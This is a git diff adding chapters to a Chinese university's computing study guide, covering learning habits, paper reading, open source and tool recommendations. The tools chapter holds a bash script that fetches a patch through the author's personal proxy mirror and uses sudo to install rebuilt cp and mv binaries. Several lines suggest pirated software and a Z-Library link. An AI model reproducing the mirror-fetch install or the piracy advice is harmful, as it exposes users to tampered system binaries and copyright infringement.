+接下来，我会去搜索每行代码的作用：（以下是搜索后我做的注释）
+
+```python
+import cv2 as cv # 调 opencv 库
+img = cv.imread('lbxx.jpg',1) # 读取图片（“图片路径”）
+img_1 = cv.cvtColor(img,cv.COLOR_BGR2GRAY) # 转换成灰度图（图片，颜色模式）
+cv.imshow('gray',img_1) # 展示图片（展示 img_1 为灰度图）
+cv.imshow('colour',img) # 展示图片（展示 img 为彩色图）
+cv.waitKey(0) # 保存展示窗口打开
+```
+
+于是，我就不仅学会了如何转换灰度图，还学会了相关函数的用法。
diff --git a/技术资源汇总(杭电支持版)/2.高效学习/2.1.4书籍的盲目崇拜.md b/技术资源汇总(杭电支持版)/2.高效学习/2.1.4书籍的盲目崇拜.md
new file mode 100644
index 0000000..d516005
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/2.高效学习/2.1.4书籍的盲目崇拜.md
@@ -0,0 +1,29 @@
+# 2.1.4 书籍的盲目崇拜
+
+## 现状
+
+很多同学在学习一个知识的时候，总是喜欢
+
+"我们要学 C 语言，我买一本大黑书看看！"
+
+![](https://cdn.xyxsw.site/boxcnqsCWmUTDr5UDLYca9YkhHh.png)
+
+诚然，上面的各种书写的非常好，但是我们需要思考的是，阅读这些真的能达到我们想要的目标吗？？？
+
+这些书为了保证准确性和严谨性，通常会采用不是一般人能看懂得话来进行解释
+
+通常情况是，如果你阅读了一句话，用了解释这个词的意思用了三个你不懂的额外的词汇去解释，你去查这三个词汇的时候，又发现了五个你不懂的，无限循环下去。
+
+## 解决
+
+因此，当你只是为了学习一个简单的知识，或者说为了完成一个简单的目标的时候，肝书可能不是最高效的选择。最高效的方法可能是需要什么的时候就去学习这么一个单一的知识点，并且将他和现有的体系联系起来
+
+> 来自 zzm 惨痛的教训
+
+但是如果你想要系统的建立对某一门学科完整的认知，并且决心投入大量的时间时，我还是非常建议大家去看书的。
+
+但是还有要注意的点是，最贵的，最专业的不一定是最好的，有时候可能简单的入门一点的书会更适合你呢
+
+非常不错的电子书网站
+
+[Z-Library](https://zh.singlelogin.re/)
diff --git a/技术资源汇总(杭电支持版)/2.高效学习/2.1.5错误的学习配比.md b/技术资源汇总(杭电支持版)/2.高效学习/2.1.5错误的学习配比.md
new file mode 100644
index 0000000..0962ca9
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/2.高效学习/2.1.5错误的学习配比.md
@@ -0,0 +1,21 @@
+# 2.1.5 错误的学习配比
+
+在学计算机科学的时候，总有人会问一些问题，类似于“我需要把这本书看完然后再开始 blabla 吗”
+
+“我需要看完某些课程然后再开始吗”
+
+其实这种想法是完全错误的。
+
+在高中阶段，你可能需要先阅览课本，然后再做题，可计算机是一门实践学科，你是用这样的方法无疑是一个低效的行为。
+
+我们推荐正确的操作是一边实践一边学习，如果你有什么不会的内容，再去额外查询，但是不要全陷进去，开始无限套娃模式的搜索。
+
+你可以先阅览一小部分内容，有个大致的了解后再逐渐深入，并且最好是一边敲代码一边实践一边去做。
+
+同时也有些同学可能犯的错误是我只看看我不写代码。
+
+这也同样会让你飞速的忘记代码，或者说有的同学可能想偷懒，某些行代码他没看懂就跳过去了，其实这也是有问题的，因为你所有埋下的坑，可能都会在以后的实践中填回来。
+
+在你完成这份讲义的时候，希望你可以有选择的阅览一部分，然后带着问题去看某些课，效率也会高很多。
+
+![](https://cdn.xyxsw.site/boxcnSq1JzWhVrFs3MePPzp5Txg.jpg)
diff --git a/技术资源汇总(杭电支持版)/2.高效学习/2.1高效的前提：摆脱高中思维.md b/技术资源汇总(杭电支持版)/2.高效学习/2.1高效的前提：摆脱高中思维.md
new file mode 100644
index 0000000..1f44f83
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/2.高效学习/2.1高效的前提：摆脱高中思维.md
@@ -0,0 +1,45 @@
+# 2.1 高效的前提：摆脱高中思维
+
+## 高中思维
+
+高考，诚然为大众提供了阶级跃迁的途径
+
+但是代价也是显而易见的：过度强化的训练和某种扭曲的价值观潜移默化的影响着我们。
+
+我们在意着各种评判标准，GPA，竞赛的奖项，读研，工作的工资。
+
+诚然，这些很重要，但是生活是没有所谓最优解的，在你一味的拿所谓标准当作自身的标尺的时候，无形之中，也让自己失去了独立思考的能力。
+
+就算你把课本上的内容搞得再烂熟，绝不代表你真正对这门课能有什么理解。
+
+**并且，全部依赖他人给你指明方向的人生已经结束了！**
+
+![](https://cdn.xyxsw.site/boxcne9EK3xz8LHOXfM8w9ih5Ig.png)
+
+你无法依赖大学里的老师还是家里的父母来为你指明所谓的方向，你的人生只属于你自己，你的道路也只能由你自己来思考。
+
+考研的老师会更加重视你是否有能力与他进行利益交换，公司更在乎你是否可以为公司创造价值，想当然的思考已经无法跟上这个飞速运转的世界了。
+
+## 大学现状
+
+在这里引用一段上海交通大学生存指南的一段话。
+
+> 在当今流水线式的教育体制下，我们就像廉价的零件一样被生产出来。因为数量巨大，没人会对每一个人的教学质量负责。
+>
+> 领导不会为你负责。对于一个争做世界一流大学的研究型学校，管好科研，管好实验室才是当务之急。
+>
+> 相比之下，本科生教学显得无利可图。教授也不会为你负责。拉到足够的经费发表足够的论文，满足学院要求才是生存大计。
+>
+> 要说管学生，也肯定先要管好自己实验室的硕士博士，而非那一百多人大课堂里的某个本科生。就算是科研任务不太重的一些任课教师，他们也不会为你负责——学不懂？那是因为你智力低，要么就是自己底下不用功。为什么跟你一个班上的某某某同学，人家就能懂？
+>
+> 诚然，就算是老师上课说孟加拉语，一个班上也非常有可能冒出一两个翻翻书看看图就能学到八九不离十的同学（或者根本就是以前学过）。
+>
+> 真正在课堂上口传心授的教学，其质量是不会有人过问的。教学评估会考察实验报告格式是否合格，出勤率是否够，但是绝对不会考察上百人的班上到底有几个听懂了的。
+>
+> 试想一下，每个学院每个系有成百上千的学生，每人有着不同的思想、不同的目标、不同的知识背景、不同的接受力，我们怎么可能去指望一个统一的“教学培养计划”强制应用在每个人头上的时候，能够产生效果？好比说食堂师傅炒一大锅菜给上千人吃，我敢说我分到的那盘，不是炒糊就肯定得夹生。
+>
+> 所谓“教学培养计划”，其科学性必须经过教育权威的论证。然而现实中塞给我们的推荐课表，却让人失望。且不深究选修课的分类、学分、毕业条件每年一个样，三年大变样，使得不少同学毕业前夕竞相奔走；甚至连两门相依赖课程的教学先后顺序都搞错过，这样的教学培养计划，实在让人难以信任
+
+诚然，杭电不可避免地也会受相应的“学术共同体”的影响，波及了包括但不限于竞赛，授课质量，氛围引导方面诸多的影响。
+
+但是不可否认的，杭电也有不少优秀的老师愿意投身于教育事业当中。并且，杭电仍然有不少教育资源，可以满足一个人的所需所求。~~（保研除外）~~
diff --git a/技术资源汇总(杭电支持版)/2.高效学习/2.2优雅的使用工具.md b/技术资源汇总(杭电支持版)/2.高效学习/2.2优雅的使用工具.md
new file mode 100644
index 0000000..c31a4a0
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/2.高效学习/2.2优雅的使用工具.md
@@ -0,0 +1,79 @@
+# 2.2 优雅的使用工具
+
+::: tip 🤗
+如果你也有好的工具推荐，请补充喵~
+:::
+
+请大家记住使用工具的基本原则 **你所感到不方便的！都有工具解决！**
+
+因此本小节的核心要义在于推荐一些有趣的有助于提高效率的小工具。
+
+## 电脑软件及插件
+
+- [Everything](https://www.voidtools.com/zh-cn/downloads/) 电脑上的全局文件搜索 方便你找到不知道丢哪的文件
+- [SpaceSniffer](http://www.uderzo.it/main_products/space_sniffer/download.html) 快速分析硬盘空间占用情况 解放储存，不解放大脑
+- [Snipaste](https://zh.snipaste.com/) 全局截图工具，按 F1 键截图，F3 键贴图，简单够用
+- [eSearch](https://esearch.vercel.app/) 全局截图工具，优化了文字识别功能，可个性化，支持全平台
+- [ShareX](https://esearch.vercel.app/) 全局截图工具，功能非常强大，高度可个性化，仅支持 Win
+- [IDM](https://www.internetdownloadmanager.com/) ：好用的多线程下载器（付费的），想要免费的话可以搜一下绿色版之类的。（推荐设置线程数为 CPU 核心数的 2 倍，比如 8 核心的 CPU 设置线程数为 16）
+- [XDM](https://github.com/subhra74/xdm) ：IDM 的跨平台版本。
+- [uTools](https://www.u.tools/) ：自由组合插件集（最好用的是 Alt+Space 搜索功能）非常强大，比如安装 fileshare 可以在局域网共享超大文件，而且是跨平台的。
+- [PowerToys](https://github.com/microsoft/PowerToys) ：微软官方出品，包含诸多功能，解决 windows 下一些小痛点。
+- [Connect to Work or Games from Anywhere | Parsec](https://parsec.app/) ：串流小工具，简单来说你就是可以在手机上玩电脑了，远程操作，极致体验~~（也可以玩游戏）~~
+- [VMware workstation](../3.%E7%BC%96%E7%A8%8B%E6%80%9D%E7%BB%B4%E4%BD%93%E7%B3%BB%E6%9E%84%E5%BB%BA/3.Y.3VMware%E7%9A%84%E5%AE%89%E8%A3%85%E4%B8%8E%E5%AE%89%E8%A3%85Ubuntu22.04%E7%B3%BB%E7%BB%9F.md)：虚拟机就用它！但是最好自己找找盗版，正版要钱。
+- [cloc](https://github.com/AlDanial/cloc): 统计代码行数（空白行，注释行，代码行）的小工具
+- mv & cp 命令显示进度条：在复制大文件的时候非常友好，可以通过以下脚本安装（Linux 系统）
+
+```bash
+#!/bin/bash
+#########################################################################
+# File Name: add-progess-bar-in-cp-mv.sh
+# Author: steve
+# mail: yqykrhf@163.com
+# Created Time: Fri 05 Aug 2022 01:54:58 PM CST
+# Reference: https://tinychen.com/20201128-add-progess-bar-in-cp-mv/
+#########################################################################
+set -e
+wget http://ftp.gnu.org/gnu/coreutils/coreutils-8.32.tar.xz
+tar -xJf coreutils-8.32.tar.xz
+cd coreutils-8.32/
+# Download patch 
+# 这里原本是ghproxy.com，但是现在被ban了，所以换成了我自建的cf worker
+wget https://gh.dn11.top/https://raw.githubusercontent.com/jarun/advcpmv/master/advcpmv-0.8-8.32.patch
+# Patching display with process bar
+patch -p1 -i advcpmv-0.8-8.32.patch
+# Compile then install
+./configure
+make
+# Copy
+sudo cp src/cp /usr/local/bin/cp
+sudo cp src/mv /usr/local/bin/mv
+# remove tmp files
+cd ..
+rm coreutils-8.32 coreutils-8.32.tar.xz
+```
+
+## 笔记工具
+
+- [Typora](https://typora.io/) 付费的，~~你可以去并夕夕啊淘宝啊花个不多于 5 块钱的钱买盗版 😋~~，（正版 $14.99），真的好用，感觉没有 Markdown 编辑器能好用过 Typora🤥。
+- [MarkText](https://github.com/marktext/marktext) 免费的，平替 Typora。
+- [MiaoYan](https://github.com/tw93/MiaoYan) 仅支持 apple，界面挺清爽。
+- [思源笔记](https://b3log.org/siyuan/) 一个国产开源的笔记/知识库软件，优势是 本地化、双链、Markdown 语法，与 Obsidian 定位相似，但 Geek 成分和自定义空间相对更高
+- [Zotero](https://www.zotero.org/):协助文献阅读还有记录笔记，支持与平板同传（同时他是开源的，所以可以添加一些插件）
+
+![](https://cdn.xyxsw.site/boxcnO1PEsVd4KY7reeU64spShf.jpg)
+
+- [Notion](http://notion.so): 笔记终结者，非常强大，（设计理念被钉钉，飞书，我来非常抄袭）。在线就可以使用。
+
+## 文献辅助阅读工具
+
+- [知云文献翻译](https://www.zhiyunwenxian.cn/)：可以有效帮助你翻译论文和文章甚至英文书籍
+- [Grammarly](https://www.grammarly.com/) : 英文语法纠正，有 word，浏览器等等插件
+
+## 浏览器插件
+
+- [沉浸式翻译](https://immersivetranslate.com/docs/installation/)：中英文对照翻译，可以给你英文下面写一小行中文翻译（里面免费的 api 只有谷歌，必应，腾讯，不过够了，也可以自行配置其他 api）
+- （你真的不玩原神吗）来试试这款原神浏览器插件 [派蒙 paimon](https://github.com/daidr/paimon-webext) ：可以实时显示你的树脂，委托，派遣等情况提示。
+- [wappalyzer](https://www.wappalyzer.com/)：如果你是个 web 仔，这个插件可以帮你检测网页所用的前后端技术栈。
+- [FeHelper--Web 前端助手](https://github.com/zxlie/FeHelper)：十几个小工具的集合，包括 base64 离线解码等。
+- [darkreader](https://github.com/darkreader/darkreader)：适应网页的暗色模式，夜深人静冲浪更爽
diff --git a/技术资源汇总(杭电支持版)/2.高效学习/2.3.1阅读文档（B百度爬）.md b/技术资源汇总(杭电支持版)/2.高效学习/2.3.1阅读文档（B百度爬）.md
new file mode 100644
index 0000000..fbd8b3f
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/2.高效学习/2.3.1阅读文档（B百度爬）.md
@@ -0,0 +1,53 @@
+# 2.3.1 阅读文档（破百度爬）
+
+## 查找教程
+
+一般帮助我们快速入门的最好的教程是在官网上的。
+
+比如 Pytorch 的官方文档（甚至有中文版哦）。
+
+同时，在 Youtube 和 B 站上的不少资料也值得称道。
+
+我不建议各位看黑马程序员，尚硅谷这种培训班的教程，太过细致反而有些本末倒置。
+
+当然，我在本教程中也会给大家一些推荐。
+
+不要用百度百科！太多错误了！
+
+## 查找资料
+
+你应该使用下表中推荐的网站：
+
+一些说明：
+
+- 一般来说，百度对英文关键词的处理能力比不上 Google。
+- 通常来说，英文维基百科比中文维基百科和百度百科包含更丰富的内容。
+- 一些中文论坛内大家互相抄，很有可能你阅读了很久都没有找到正确的答案，并且英文社区内的内容远远比中文的要好。
+
+## 英文阅读
+
+随着科学技术的发展，在国际学术交流中使用英语已经成为常态：顶尖的论文无一不使用英文来书写，在国际上公认的计算机领域经典书籍也是使用英文编著。
+
+顶尖的论文没有中文翻译版; 如果需要获取信息，也应该主动去阅读英文材料，而不是等翻译版出版。"我是中国人，我只看中文"这类观点已经不符合时代发展的潮流，要站在时代的最前沿，阅读英文材料的能力是不可或缺的。
+
+阅读英文材料，无非就是"不会的单词查字典，不懂的句子反复读"。
+
+如今网上有各种词霸可解燃眉之急，但英文阅读能力的提高贵在坚持。"刚开始觉得阅读英文效率低", 是所有中国人都无法避免的经历。
+
+如果你发现身边的大神可以很轻松地阅读英文材料，那是因为他们早就克服了这些困难。引用陈道蓄老师的话：坚持一年，你就会发现有不同; 坚持两年，你就会发现大有不同。
+
+当然也有一些巧妙地方法帮助大家进行阅读，比如知云文献翻译，不要依赖这类软件！
+
+## 合理使用代理服务
+
+学会合理使用代理服务是非常重要的一步哦
+
+<svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewBox="0 0 24 24"><path fill="currentColor" d="m8.85 15.65l8.9-2.35q.375-.1.563-.463t.087-.737q-.1-.375-.437-.562t-.713-.088l-2.45.65l-4-3.75l-1.4.35l2.4 4.2l-2.4.6l-1.25-.95l-.95.25l1.65 2.85ZM20 20H4q-.825 0-1.413-.588T2 18v-4q.825 0 1.413-.588T4 12q0-.825-.588-1.413T2 10V6q0-.825.588-1.413T4 4h16q.825 0 1.413.588T22 6v12q0 .825-.588 1.413T20 20Zm0-2V6H4v2.55q.925.55 1.463 1.463T6 12q0 1.075-.537 1.988T4 15.45V18h16Zm-8-6Z"/></svg>无法给大家推荐，但是<svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewBox="0 0 24 24"><path fill="currentColor" d="M5.95 21q-.475 0-.75-.388t-.15-.837L9.5 3.7q.1-.325.35-.512T10.425 3q.5 0 .775.388t.15.837L10.85 6h5.625l.625-2.3q.1-.325.363-.512T18.05 3q.475 0 .75.388t.15.837L14.5 20.3q-.1.325-.35.513t-.575.187q-.5 0-.775-.388t-.15-.837l.5-1.775H7.525L6.9 20.3q-.1.325-.363.513T5.95 21Zm3.525-10h5.6l.825-3h-5.6l-.825 3ZM8.1 16h5.6l.825-3h-5.6L8.1 16Z"/></svg>经常用的无非就是 <svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewBox="0 0 48 48"><path fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" d="M27.19 42.5a89.044 89.044 0 0 1-14.681-1.573s1.431-28.554 5.411-35.39c-.13-.297 2.992 1.212 4.422 6.266a25.557 25.557 0 0 1 4.847-.47"/><ellipse cx="21.24" cy="20.309" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" rx="1.671" ry="2.13"/><path fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" d="M27.19 42.5a89.044 89.044 0 0 0 14.681-1.573s-1.431-28.554-5.413-35.39c.03-.2-3.59 1.755-4.421 6.266a25.558 25.558 0 0 0-4.848-.47"/><ellipse cx="33.14" cy="20.309" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" rx="1.671" ry="2.13"/><path fill="none" stroke="currentColor" stroke-linecap="round" stroke-miterlimit="5.714" d="M12.508 40.927c-1.93-.327-4.948-.31-6.04-3.487c-1.067-3.107.438-6.67 3.742-7.045m15.253-4.008a1.467 1.467 0 0 0 1.473-1.472"/><path fill="none" stroke="currentColor" stroke-linecap="round" stroke-miterlimit="5.714" d="M28.41 26.387a1.467 1.467 0 0 1-1.474-1.472"/></svg>, <svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewBox="0 0 48 48"><path fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" d="M40.53 6.78a.26.26 0 0 1 .22.31l-6.39 28.17a.22.22 0 0 1-.28.16l-13.64-4.3a.52.52 0 0 1-.25-.83l11.6-14.17l-.11-.12l-16.07 13.84a.58.58 0 0 1-.54.09l-11.2-4.41a.21.21 0 0 1 0-.38L40.39 6.81h.14Zm-20.4 27l6.69-.69l-6.41 8a.28.28 0 0 1-.5-.18l.17-10.47"/></svg> 等
+
+如果不知道怎么办，可以求助（找学长）
+
+<style module>
+  svg {
+    display: inline-block;
+  }
+</style>
diff --git a/技术资源汇总(杭电支持版)/2.高效学习/2.3.2检索论文核心内容.md b/技术资源汇总(杭电支持版)/2.高效学习/2.3.2检索论文核心内容.md
new file mode 100644
index 0000000..4949c62
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/2.高效学习/2.3.2检索论文核心内容.md
@@ -0,0 +1,87 @@
+# 2.3.2 检索论文核心内容
+
+请克服对论文英文的恐惧，适当的利用翻译软件。
+
+~~由于笔者只阅读过 CV 领域和 NLP 领域的一些文章，且阅读量并不算太高，故对论文的理解不仅有限且仅限于该领域内的论文风格和内容技巧，望读者见谅。~~
+
+## 论文的一般结构
+
+### 1. title(标题)
+
+首先是标题部分。
+
+一般的标题主要包括两个内容：使用什么方法解决什么问题。以此高度概括文章的内容和工作。
+
+还有一种标题是比较新颖的，会使用一些比喻性的手法吸引眼球 (一般人驾驭不住)
+
+论文作者会在标题下面指出，当我们的论文阅读量到一定程度之后可以关注一下作者。当我们在关注或研究某一个领域时，该领域的几篇重要论文读下来我们就可以知道哪个作者在该领域较为活跃，谁提出了 Backbone，谁在挖坑 (填坑)。可以通过作者进而检索到你感兴趣的工作或判断论文写作质量。
+
+### 2. abstract(摘要)
+
+Abstract 是论文中一篇具有独立性的短文，用简单、明确、易懂、精辟的语言对全文内容加以概括，提取论文的主要信息。作者的观点、论文的主要内容、研究成果、独到的见解，这些都会在摘要中体现出来，是需要重点阅读的地方。
+
+摘要在资料交流方面承担着至关重要的作用。摘要会收录到大型资料库中并为读者提供信息，因此我们可以通过摘要索引查找论文。
+
+摘要的四要素：目的、方法、结果和结论称为摘要的四要素。
+
+（1）目的：指出研究的范围、目的、重要性、任务和前提条件，不是主题的简单重复。
+
+（2）方法：根据研究的主要内容和发现的问题，说明在这个过程中都做了哪些工作。(摘要中的方法不会太过详细，一般只会给出一个名词)
+
+（3）结果：陈述研究之后重要的新发现、新成果及价值，包括通过调研、实验、观察取得的数据和结果，并剖析其不理想的局限部分。
+
+（4）结论：通过对这个课题的研究所得出的重要结论，包括从中取得证实的正确观点，进行分析研究，比较预测其在实际生活中运用的意义，理论与实际相结合的价值。
+
+### 3. introduction(导言)
+
+Introduction 主要是对整篇论文的一个介绍，读者看完 introduction 后就知道论文的几乎所有工作。
+
+Introduction 会说明论文的主题、范围和研究目的。
+
+然后阐明研究的起因、背景及相关领域简要历史回顾。(前人做了哪些工作、哪些尚未解决、目前进展到何种程度等) 这一部分不同的论文情况不同，有些论文会单独拿出来作为一部分 (related work)，当我们刚进入到某一个领域时，我们可以通过这一部分了解该领域的大致研究风格和该篇论文的研究路径，get 到作者的研究思路 (论文的这个课题存在有着哪些问题以及所面临怎样的挑战，发现前人工作的缺陷以及在此基础上的改进)，有时可能会对我们的工作有启发。当然，如果我们对这一领域足够了解，可以不需要看这一部分，研究思路也可以在论文的方法部分自行体会。
+
+### 4. method(提出的算法)
+
+此处为文章主体，详细介绍了他是怎么做的，~~如果需要复现的话需要仔细阅读这一部分~~，无论复现与否都需要详细阅读，理解具体操作与作者的理论并尽可能将二者结合~~(该领域的某些方面可解释性并不强)~~。读者不仅可以从该部分具体理解论文工作，还可以从中发现与前人工作的不同，并从中提出进一步改进。
+
+### 5. experiment(实验)
+
+~~一般情况为介绍我为什么很牛逼，这里一般可以跳过如果不写文章的话~~
+
+该部分一般会晒出工作的效果，我们可以从中更直观的体会工作的改进，甚至可以根据结果直接推断结果好坏的某些原因~~(不过一般论文中的图片当然都会放效果很好的以便作者吹逼，真想看效果建议复现工作)~~，大胆并合理的假设推理也是科研工作中不可缺少的一个能力。
+
+### 6. conclusion(结论)
+
+~~Conclusion 结论部分，一般阅读完开头直接阅读结尾，就基本清楚文章脉络结构和思考方案了~~
+
+结论和摘要的内容基本相似，但某些论文的结论中可能还会指出对该工作的不足之处，还有该领域内对该工作的一些期望 (挖坑)。
+
+## 怎么用三遍读懂一篇论文
+
+视频地址： [如何读论文【论文精读】](https://www.bilibili.com/video/BV1H44y1t75x)
+
+<Bilibili bvid='BV1H44y1t75x'/>
+
+### 第一遍 (海选)
+
+阅读标题、摘要、结论。花费十几分钟时间了解论文是否适合你的研究方向。
+
+看完之后可以再看一看方法和实验部分重要的图和表，进而判断这篇论文是否适合自己，是否和自己当前在做的工作相似。
+
+### 第二遍 (大致把握)
+
+确定论文值得读之后，快速将整个论文过一遍，不需要知道所有的细节，先尝试去理解论文中重要的图和表，知道每一个部分在干什么，圈出比较重要的相关文献。
+
+若到此为止：知道它解决什么问题，结果怎么样，大概用了什么方法，但是觉得文章很难看不太懂，可以去读他们之前引用的那些文章，读完之后再回头读这篇文章。
+
+### 第三遍 (重点研读)
+
+第三遍是最详细的一遍，当我们在读第三遍时通常意味着我们对该论文的工作很感兴趣了，这时我们需要力争做到知道每一段和每一句都在说什么、干什么。基本了解整个文章的细节，在之后基于他做研究，或者在之后提到它的时候，可以详详细细的复述一遍。
+
+脑补工作过程，在读的过程中，思考自己来完成作者所提出的问题时需要怎么做，需要用什么方法来实现这个东西；在读实验部分时，思考自己能不能比作者做的更好；作者留下的问题，思考自己能不能继续往前走。
+
+## 深度学习领域论文快速阅读
+
+如果你已经看过一定数量的论文，并对自己的论文阅读能力有信心，你可以选择直接看论文的模型图，再从模型图去理解网络。（事实上大部分的论文不值得你去精读）
+
+此法适用于需要阅读大量领域内相关论文时，可以一周十几篇。
diff --git a/技术资源汇总(杭电支持版)/2.高效学习/2.3.3优秀的开源社区.md b/技术资源汇总(杭电支持版)/2.高效学习/2.3.3优秀的开源社区.md
new file mode 100644
index 0000000..cc56785
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/2.高效学习/2.3.3优秀的开源社区.md
@@ -0,0 +1,94 @@
+# 2.3.3 优秀的开源社区
+
+## 什么是开源？
+
+开源是源代码可以任意获取的计算机软件，这种软件的著作权持有人在软件协议的规定下保留一部分权利并允许用户学习、修改以及以任何目的向任何人分发该软件。
+
+开源协议通常符合开放源代码的定义的要求。
+
+但是后续因为各种原因（有一段有趣的历史，大伙可以去了解一下）开源也变为了很多种形式，比如说较为严格的，如果你使用了我的代码，你就必须也得开源，以及可以自由使用只需要标记参考了哪些源码就行。
+
+这里面有非常多有趣的历史故事以及各种渊源，感兴趣的同学可以自行了解一下
+
+## 灵活使用开源社区
+
+开源社区有时候是我们大伙学习一个新技术，查找某一个资料非常好的一种方式。
+
+例如中国的优秀开源社区，Datawhale，他们会有组队学习的活动，可以去查找他们的公众号，然后免费加入牵引着你学习某一个模块有趣的知识。
+
+比如硬件的一生一芯，南大 nju 的开源项目，手把手教你做出一个 CPU，当然非常的困难，大家有兴趣可以报名
+
+当然也有国内的厂商为了自己的生态搞出了一些开源社区，比如说 paddle 飞桨高校领航团，让你使用他们的技术，然后他们出资帮助你学习。
+
+如果说国外的
+
+[GitHub: Where the world builds software](https://github.com/)（全世界最大的开源社区）
+
+在本章内容 /技术资源汇总(杭电支持版)/3.编程思维体系构建/3.5git 与 github 中详细介绍了 github 和 git 的使用方法，大家可以参考一下
+
+同时我介绍一个有趣的搜索信息的方法，
+
+举例：如果你想学习某个语言，可以在 github 上搜索
+
+awesome（你想学的东西）
+
+例如 awesome C
+
+## 开源的意义
+
+本章内容节选自 Datawhale 5 位成员在 AI TIME 的分享，《清华、北大、上交大、哈工大、中山大学 5 位同学眼中的开源》。
+
+## Z 世代的开源新态度
+
+杨毅远，王琦与江季作为《Easy RL: 强化学习教程》的作者，他们有着丰富的开源经历与感受。
+
+杨毅远：开源收获的是一个正向反馈
+
+在互联网上开源自己的论文代码、项目代码以及学习心得等内容，也有助于和他人沟通交流，收获的也是一个正向反馈。针对问题普通人如何实现开源，杨毅远认为还是要先拥抱开源，不必操之过急，开源工作需要是有意义的工作，是一个漫长的工作。
+
+王琦：开源的过程虽然会占用自己的一部分时间，但这却是一个幸福的烦恼。
+
+论文末尾大多会附上代码地址，即代码开源。大家在看到论文代码开源的情况下会认为这篇论文能够复现的可能性比较大。虽然在将开源项目发布到 GitHub 之后给他人问题答复的过程可能会占用自己的一部分时间，但这可以算是一个幸福的烦恼。
+
+江季：敢于开源的人也是一个乐于分享，心态积极的人。
+
+互联网上的开源是需要勇气的，毕竟开源后的代码要在互联网上面临网友们的考验。江季对于开源的领域也有自己独到的见解，他以春秋战国时期的百家争鸣为例，阐述了无论是对于工科生还是文科生，开源这件事都是很适用的。
+
+张文涛：能够与志同道合的人交流，是开源过程中至关重要的一环。
+
+开源不是一个瞬间，而是需要持续地去做，无论是主动还是被动。将项目发布到网络上只是一个起点，之后反复与他人交流和解决问题，进而对项目进行不断的修正。
+
+陈安东：要像种一棵树一样等到自己的开源工作开花结果。
+
+开源可以分为三点：首先是要知道自己想要什么；第二点是做开源一定要有始有终，只有完整的开源工作才能被大家使用和学习，完整的工作才能在之后有优化迭代的空间；第三是要有一个”开源是一个长期的过程”这样的心态。
+
+## 作为年轻一代，我们眼中的企业开源
+
+王琦：企业的目的可能是先通过开源抢占市场，后续再通过推行定制化的服务来盈利。
+
+陈安东：开源是一种企业与市场自我革命的做法，这种革命能够促进技术的发展，最终为用户带来好处。
+
+一个行业的开源企业对传统 1 对 1 收费的市场是一个不小的冲击，因为这个市场份额也就随着这家免费的开源企业而不断减小。但是由于开源带来的技术分享反而使市场更加集中与优质化，技术也随着开源而更快速的迭代，从而产生了更好用的产品。
+
+张文涛：开源有利于提升产品的影响力
+
+虽然公司在做开源之前不一定有明确商业目的，但是可能在开源过程中发现一些可盈利的点来开发出其产品线。然后，企业可以将这块收入的一部分反馈到开源的过程之中来增加产品的影响力。
+
+杨毅远：开源不失为一种提高公司知名度和用户信任感的方式
+
+如果是一家中小型的创业公司，是否可以把自己核心的一部分开源出来？这样不失为一种提高公司知名度和用户信任感的方式。此外，当把实验代码开源到网络上之后，人们也希望有其他同领域的专家、研究人员可以一起来滚动更新这个任务。
+
+## 关于未来的开源，我们想说……
+
+江季：开源是一个很有前景的领域，然而现在的开源文化还并不成熟，开源确实是仍然在路上。
+
+开源目前仍然存在不够合格的现象，比如说某些人的开源工作难以复现。开源是一个很有前景的领域，尤其是在促进学术界发展上。然而现在的开源文化还并不成熟，开源网站中占据大部分篇幅的还是广告，并没有形成知识分享的模式，开源确实是仍然在路上。
+张文涛：开源的形式丰富多样，暂时不必思考太多，可以先和志同道合的人一起前进。
+
+王琦：三体人的先进在于一代又一代的持续知识共享，我们可以先模仿、学习他人的项目。
+
+我们如今做的东西，可能在历史长河之中早已被他人做过。如果提前了解到这些，可以很大地提升我们的工作效率。如果想做一个优质的开源项目，我们可以先模仿、学习他人的项目。
+
+陈安东：开源应该是一个特别酷的东西，要敢于让别人看到自己的工作。
+
+如今的开源还远远不够，大多数人还停留在在闭门造车的阶段。鼓励大家将自己的项目分享出来让大家来一起参与，接受大家的评价，彼此交流与指出问题，这样不但可以让开源工作更好，也可以让参与开源的大家收获满满。
diff --git a/技术资源汇总(杭电支持版)/2.高效学习/2.3高效的信息检索.md b/技术资源汇总(杭电支持版)/2.高效学习/2.3高效的信息检索.md
new file mode 100644
index 0000000..8e6a684
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/2.高效学习/2.3高效的信息检索.md
@@ -0,0 +1,9 @@
+# 2.3 高效的信息检索
+
+善于运用各种信息，使自己迅速掌握时代的脉络也是不可获取的能力之一！
+
+在本章内容我们会给你指明一些常见的误区，以及如何使用正确的方式去解决问题。
+
+做出微小的一点改变往往可能对你会有事半功倍的效果！
+
+当然有些内容可能现在你还无法理解，但是我认为你过一小段时间，等到有需要的时候可以再反复观看相关内容！
diff --git a/技术资源汇总(杭电支持版)/2.高效学习/2.4优雅的记笔记.md b/技术资源汇总(杭电支持版)/2.高效学习/2.4优雅的记笔记.md
new file mode 100644
index 0000000..71e2fc0
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/2.高效学习/2.4优雅的记笔记.md
@@ -0,0 +1,19 @@
+# 2.4 优雅的记笔记
+
+Notion
+
+Markdown
+
+Typora
+
+本节打算讲 markdown，还没来得及写
+
+感兴趣查查上面
+
+看看下面教程
+
+<https://www.markdown.xyz>
+
+以及这个
+
+<https://castel.dev/post/lecture-notes-1>
diff --git a/技术资源汇总(杭电支持版)/2.高效学习/2.5以理工科的方式阅读英语.md b/技术资源汇总(杭电支持版)/2.高效学习/2.5以理工科的方式阅读英语.md
new file mode 100644
index 0000000..778639a
--- /dev/null
